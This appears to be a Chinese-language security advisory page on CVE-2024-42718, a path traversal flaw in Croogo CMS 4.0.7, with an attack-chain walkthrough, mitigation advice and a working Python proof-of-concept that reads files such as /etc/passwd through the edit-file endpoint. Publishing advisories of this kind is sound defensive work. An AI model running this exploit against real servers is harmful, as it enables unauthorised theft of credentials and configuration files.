IPBUF安全漏洞报告
English
CVE-2024-42718 CVSS 6.5 中危

CVE-2024-42718 Croogo CMS 路径遍历漏洞允许读取任意文件

披露日期: 2025-12-26

漏洞信息

漏洞编号
CVE-2024-42718
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Croogo CMS

相关标签

路径遍历文件读取Croogo CMSCVE-2024-42718任意文件读取低权限用户Web应用安全内容管理系统

漏洞概述

CVE-2024-42718是Croogo CMS 4.0.7版本中的一个高危安全漏洞,属于路径遍历(Path Traversal)类型。该漏洞允许具有低权限的远程攻击者通过构造特殊的edit-file参数来读取服务器上的任意文件,包括敏感配置文件、源代码、凭据文件等。Croogo CMS是一个基于PHP开发的内容管理系统,广泛应用于各类网站和Web应用中。路径遍历漏洞的发生通常是由于应用程序在处理用户输入的文件路径时未进行充分的验证和过滤,导致攻击者可以使用“../”等特殊字符序列来突破目录限制,访问本不应被访问的文件资源。该漏洞的CVSS评分为6.5,属于中等严重级别,但由于攻击复杂度较低且不需要用户交互,实际威胁程度不容忽视。攻击者可以利用此漏洞获取服务器敏感信息,如数据库连接凭据、API密钥、用户密码哈希等,进而可能导致进一步的攻击和数据泄露。

技术细节

该路径遍历漏洞存在于Croogo CMS的文件编辑功能模块中。漏洞的根本原因是在处理edit-file参数时,应用程序直接使用用户提供的路径而未进行安全验证。攻击者可以通过构造类似“../../../etc/passwd”的路径字符串来遍历目录结构并读取目标文件。在HTTP请求中,攻击者将edit-file参数设置为包含路径遍历序列的恶意路径,例如“../../../../../../etc/passwd”或“....//....//....//etc/passwd”等变体形式。服务器端代码在解析该路径时,会按照路径遍历序列逐级向上跳转目录,最终到达系统根目录并读取指定文件。由于该漏洞位于文件编辑功能处,攻击者需要具备基本的用户认证(低权限即可),但无需特殊权限或管理员账户。漏洞影响的是Croogo CMS 4.0.7版本,攻击成功后可读取任意文件内容,可能导致敏感信息泄露和进一步的安全风险。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用的Croogo CMS版本,确认版本为4.0.7
STEP 2
步骤2
攻击者获取目标网站的基本访问权限(低权限账户即可)
STEP 3
步骤3
攻击者构造包含路径遍历序列的恶意edit-file参数,如../../../../../../etc/passwd
STEP 4
步骤4
攻击者发送特制的HTTP请求到/admin/attachments/edit-file端点
STEP 5
步骤5
服务器解析路径遍历序列,向上遍历目录到达根目录
STEP 6
步骤6
服务器读取攻击者指定的敏感文件(如/etc/passwd、配置文件等)
STEP 7
步骤7
服务器将文件内容返回给攻击者,导致敏感信息泄露
STEP 8
步骤8
攻击者利用泄露的凭据进行进一步攻击,如数据库入侵或远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-42718 Path Traversal PoC for Croogo CMS 4.0.7 # Target: Croogo CMS file reading via edit-file parameter def exploit(target_url, file_path): """ Exploit path traversal vulnerability in Croogo CMS 4.0.7 Args: target_url: Base URL of the vulnerable Croogo CMS instance file_path: Path to the file to read (e.g., /etc/passwd) Returns: Content of the requested file """ # Construct path traversal payload traversal = '../' * 6 payload = traversal + file_path.lstrip('/') # Target endpoint - file editor functionality endpoint = f"{target_url.rstrip('/')}/admin/attachments/edit-file" # Prepare request parameters params = { 'edit-file': payload } # Optional: Add authentication cookies if required cookies = { 'csrf_token': 'your_csrf_token_here', 'session': 'your_session_cookie' } try: response = requests.get(endpoint, params=params, cookies=cookies, timeout=10) if response.status_code == 200: print(f"[+] Successfully read: {file_path}") print(f"[+] Content length: {len(response.text)} bytes") return response.text else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Example usage if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_path>") print(f"Example: python {sys.argv[0]} http://target.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] result = exploit(target, file_to_read) if result: print("\n--- File Content ---") print(result[:500]) # Print first 500 chars

影响范围

Croogo CMS 4.0.7

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 限制文件编辑功能的访问权限,仅允许受信任的管理员用户使用;2) 在Web应用防火墙(WAF)上配置规则,拦截包含路径遍历特征(如../、..\、%2e%2e等)的请求;3) 对edit-file参数进行严格的输入过滤,拒绝包含目录遍历字符的请求;4) 临时禁用文件编辑功能模块,待官方修复后再重新启用;5) 加强服务器目录权限配置,确保Web应用进程无法访问敏感系统文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表